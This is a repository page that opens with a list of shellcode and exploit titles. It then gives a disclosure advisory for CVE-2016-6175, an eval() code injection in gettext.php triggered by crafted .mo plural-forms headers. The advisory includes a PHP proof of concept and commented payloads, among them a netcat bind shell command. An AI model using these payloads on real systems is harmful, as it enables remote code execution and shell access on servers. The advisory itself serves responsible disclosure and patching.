
16 new exploits Ubuntu Breezy 5.10 - Installer Password Disclosure Ubuntu 5.10 - Installer Password Disclosure BSD/x86 - setuid/portbind (TCP 31337) shellcode (94 bytes) BSD/x86 - setuid/portbind 31337/TCP shellcode (94 bytes) Linux/x86 - shellcode that forks a HTTP Server on port tcp/8800 (166 bytes) Linux/x86 - listens for shellcode on tcp/5555 and jumps to it (83 bytes) Linux/x86 - Forks a HTTP Server on port 8800/TCP shellcode (166 bytes) Linux/x86 - Listens for shellcode on 5555/TCP and jumps to it (83 bytes) Linux/x86 - Shellcode Polymorphic chmod(_/etc/shadow__666) (54 bytes) Linux/x86 - Polymorphic chmod(_/etc/shadow__666) Shellcode (54 bytes) Linux/x86 - Add root user _r00t_ with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - Add root user 'r00t' with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - SET_PORT() portbind 31337 tcp shellcode (100 bytes) Linux/x86 - SET_PORT() portbind 31337/TCP shellcode (100 bytes) Linux/x86 - Add User _xtz_ without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Add User 'xtz' without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp + fork() shellcode (98 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP + fork() shellcode (98 bytes) Linux/x86 - connect-back shellcode 127.0.0.1:31337/tcp (74 bytes) Linux/x86 - Connect-back shellcode 127.0.0.1:31337/TCP (74 bytes) Linux/x86 - Add user _t00r_ encrypt shellcode (116 bytes) Linux/x86 - Add user 't00r' encrypt shellcode (116 bytes) Linux/x86 - Add user _t00r_ shellcode (82 bytes) Linux/x86 - Add user 't00r' shellcode (82 bytes) Linux/x86 - Add user _z_ shellcode (70 bytes) Linux/x86 - Add User 'z' shellcode (70 bytes) Solaris/x86 - portbind/tcp shellcode (Generator) Solaris/x86 - portbind/TCP shellcode (Generator) Linux/x86 - append _/etc/passwd_ & exit() shellcode (107 bytes) Linux/x86 - append '/etc/passwd' & exit() shellcode (107 bytes) Linux/x86 - sends _Phuck3d!_ to all terminals shellcode (60 bytes) Linux/x86 - sends 'Phuck3d!' to all terminals shellcode (60 bytes) Linux/x86 - change mode 0777 of _/etc/shadow_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of _/etc/passwd_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall shellcode (39 bytes) Linux/ARM - Add root user _shell-storm_ with password _toor_ shellcode (151 bytes) Linux/ARM - Add root user 'shell-storm' with password 'toor' shellcode (151 bytes) OS-X/Intel - reverse_tcp shell x86_64 shellcode (131 bytes) OS-X/Intel (x86_64) - reverse_tcp shell shellcode (131 bytes) Linux/SuperH (sh4) - Add root user _shell-storm_ with password _toor_ shellcode (143 bytes) Linux/SuperH (sh4) - Add root user 'shell-storm' with password 'toor' shellcode (143 bytes) Linux/MIPS - Add user(UID 0) _rOOt_ with password _pwn3d_ shellcode (164 bytes) Linux/MIPS - Add user(UID 0) 'rOOt' with password 'pwn3d' shellcode (164 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (81 bytes / 96 bytes with password) Linux/x86-64 - Bind 4444/TCP Port Shellcode (81 bytes / 96 bytes with password) Linux/x86 - TCP Bind Shell 33333 Port Shellcode (96 bytes) Linux/x86 - Bind Shell 33333/TCP Port Shellcode (96 bytes) OS-X/x86-64 - tcp 4444 port bind Nullfree shellcode (144 bytes) OS-X/x86-64 - 4444/TPC port bind Nullfree shellcode (144 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (103 bytes) Linux/x86-64 - TCP 4444 port Bindshell with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind 4444/TCP Port Shellcode (103 bytes) Linux/x86-64 - Bindshell 4444/TCP with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind TCP Port 1472 shellcode (IPv6) (199 bytes) Linux/x86-64 - Bind 1472/TCP shellcode (IPv6) (199 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (656 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (656 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (98 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (98 bytes) Rapid7 AppSpider 6.12 - Local Privilege Escalation Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit) Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit) MediaCoder 0.8.43.5852 - .m3u SEH Exploit Drupal CODER Module 2.5 - Remote Command Execution (Metasploit) CodoForum 3.2.1 - SQL Injection CoolPlayer+ Portable 2.19.6 - .m3u Stack Overflow (Egghunter+ASLR bypass) GRR Système de Gestion et de Réservations de Ressources 3.0.0-RC1 - Arbitrary File Upload PHP gettext (gettext.php) 1.0.12 - Unauthenticated Code Execution PHP 7.0.8_ 5.6.23 and 5.5.37 - bzread() Out-of-Bounds Write Ubee EVW3226 Modem/Router 1.0.20 - Multiple Vulnerabilities Technicolor TC7200 Modem/Router STD6.02.11 - Multiple Vulnerabilities Hitron CGNV4 Modem/Router 4.3.9.9-SIP-UPC - Multiple Vulnerabilities Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH - Multiple Vulnerabilities Bellini/Supercook Wi-Fi Yumi SC200 - Multiple Vulnerabilities Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities
247 lines
8.1 KiB
Text
Executable file
247 lines
8.1 KiB
Text
Executable file
[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation
|
|
|
|
# Date: June 25th, 2016
|
|
# Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security
|
|
# Project Homepage: https://launchpad.net/php-gettext/
|
|
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
|
|
# Version: 1.0.12 (latest release)
|
|
# Tested on: Linux Debian, PHP 5.6.19-2+b1
|
|
|
|
# CVSS: 7.1
|
|
# OVE ID: OVE-20160705-0004
|
|
# CVE ID: CVE-2016-6175
|
|
# OSVDB ID: n/a
|
|
|
|
# Thanks:
|
|
Lars Michelsen from NagVis project where this bug was discovered and
|
|
Danilo Segan from gettext.php team project for their reactivity and professionalism
|
|
|
|
# Credits:
|
|
https://bugs.launchpad.net/php-gettext/+bug/1606184
|
|
https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53
|
|
|
|
# Fixes:
|
|
https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php
|
|
https://bugs.launchpad.net/php-gettext/+bug/1606184
|
|
|
|
gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue
|
|
|
|
|
|
I. APPLICATION
|
|
|
|
This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.
|
|
This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.
|
|
|
|
NagVis is a visualization addon for the well known network managment system Nagios.
|
|
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.
|
|
|
|
|
|
II. ADVISORY
|
|
|
|
A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file.
|
|
The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.
|
|
|
|
|
|
III. VULNERABILITY DESCRIPTION
|
|
|
|
The gettext_reader() funtion try to test magic number that need to match with .mo files :
|
|
|
|
$MAGIC1 = "\x95\x04\x12\xde";
|
|
$MAGIC2 = "\xde\x12\x04\x95";
|
|
|
|
If it seems correct then we'll continue.
|
|
We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:
|
|
|
|
plural-forms: ([^\n]*)\n
|
|
|
|
(This regular expression matching have no effect on our payload)
|
|
|
|
Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.
|
|
|
|
|
|
Here is the impacted code snippet :
|
|
|
|
snip...
|
|
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
|
|
$expr = $regs[1];
|
|
else
|
|
|
|
$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";
|
|
|
|
$this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!!
|
|
}
|
|
snip...
|
|
|
|
|
|
The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.
|
|
|
|
|
|
|
|
Comments are :
|
|
|
|
/** Sanitize plural form expression for use in PHP eval call.
|
|
@access private
|
|
@return string sanitized plural form expression**/
|
|
|
|
In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.
|
|
|
|
snip...
|
|
function sanitize_plural_expression($expr) {
|
|
|
|
// Get rid of disallowed characters.
|
|
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
|
|
// Add parenthesis for tertiary '?' operator.
|
|
|
|
$expr .= ';';
|
|
$res = '';
|
|
$p = 0;
|
|
|
|
for ($i = 0; $i < strlen($expr); $i++) { // indentation ?
|
|
$ch = $expr[$i];
|
|
|
|
switch ($ch) {
|
|
|
|
case '?':
|
|
$res .= ' ? (';
|
|
$p++;
|
|
|
|
break;
|
|
|
|
case ':':
|
|
$res .= ') : (';
|
|
|
|
break;
|
|
|
|
case ';':
|
|
$res .= str_repeat( ')', $p) . ';';
|
|
$p = 0;
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
$res .= $ch;
|
|
|
|
}
|
|
}
|
|
return $res;
|
|
}
|
|
snip...
|
|
|
|
|
|
Code snippet from the vulnerable function that execute eval() on the « sanitized string :
|
|
|
|
|
|
snip...
|
|
$string = $this->get_plural_forms();
|
|
$string = str_replace('nplurals',"\$total",$string);
|
|
$string = str_replace("n",$n,$string);
|
|
$string = str_replace('plural',"\$plural",$string);
|
|
|
|
$total = 0;
|
|
$plural = 0;
|
|
|
|
eval("$string"); // eval called .... launch my shell baby !
|
|
snip...
|
|
|
|
|
|
However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.
|
|
A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.
|
|
He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless !
|
|
|
|
Note :
|
|
Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :
|
|
|
|
$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory
|
|
|
|
Like a Perl developer could say:
|
|
|
|
« there is more than one way to do it »
|
|
|
|
|
|
IV. PROOF OF CONCEPT
|
|
|
|
Following PHP code reproduce the exploitation concept base on the 1.0.9 version
|
|
(without a crafted .mo file and joined with this advisory).
|
|
|
|
|
|
<?php
|
|
//$expr= ("system(sh)"); // payload1
|
|
//$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant
|
|
$expr=("phpinfo()"); // payload2 (PoC)
|
|
|
|
//$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);// vuln
|
|
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/
|
|
|
|
$expr .= ';';
|
|
|
|
// Add parenthesis for tertiary '?' operator.
|
|
$expr .= ';';
|
|
$res = '';
|
|
$p = 0;
|
|
for ($i = 0; $i < strlen($expr); $i++) {
|
|
$ch = $expr[$i];
|
|
switch ($ch) {
|
|
case '?':
|
|
$res .= ' ? (';
|
|
$p++;
|
|
break;
|
|
case ':':
|
|
$res .= ') : (';
|
|
break;
|
|
case ';':
|
|
$res .= str_repeat( ')', $p) . ';';
|
|
$p = 0;
|
|
break;
|
|
default:
|
|
$res .= $ch;
|
|
}
|
|
}
|
|
|
|
// Vulnerable function :
|
|
$n= (1);
|
|
$total=("1000");
|
|
|
|
if (!is_int($n)) {
|
|
throw new InvalidArgumentException(
|
|
"Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php
|
|
}
|
|
|
|
$string = str_replace('nplurals',"\$total",$res);
|
|
$string = str_replace("n",$res,$res);
|
|
$string = str_replace('plural',"\$plural",$res);
|
|
eval("$string");
|
|
?>
|
|
|
|
|
|
V. RECOMMENDATIONS
|
|
|
|
As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
|
|
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.
|
|
The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.
|
|
|
|
|
|
|
|
VI. VERSIONS AFFECTED
|
|
|
|
This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
|
|
It could affect the a lot of web application and/or many website as long as it will not be updated.
|
|
|
|
|
|
VII. TIMELINE
|
|
|
|
June 21th, 2016: Vulnerability identification
|
|
June 21th, 2016: Nagvis project developers and gettext.php developers notification
|
|
June 22th, 2016: Nagvis project developers response
|
|
June 25th, 2016: Nagvis Patch release (even if not really affected)
|
|
June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started
|
|
July 5th, 2016: CVE request ID (mitre) and OVE ID request
|
|
July 7th, 2016: CVE-2016-6175 attributed by MITRE
|
|
July 25th, 2016: Public disclosure
|
|
|
|
|
|
VIII. LEGAL NOTICES
|
|
|
|
The information contained within this advisory is supplied "as-is" with
|
|
no warranties or guarantees of fitness of use or otherwise.
|
|
I accept no responsibility for any damage caused by the use or misuse of this advisory.
|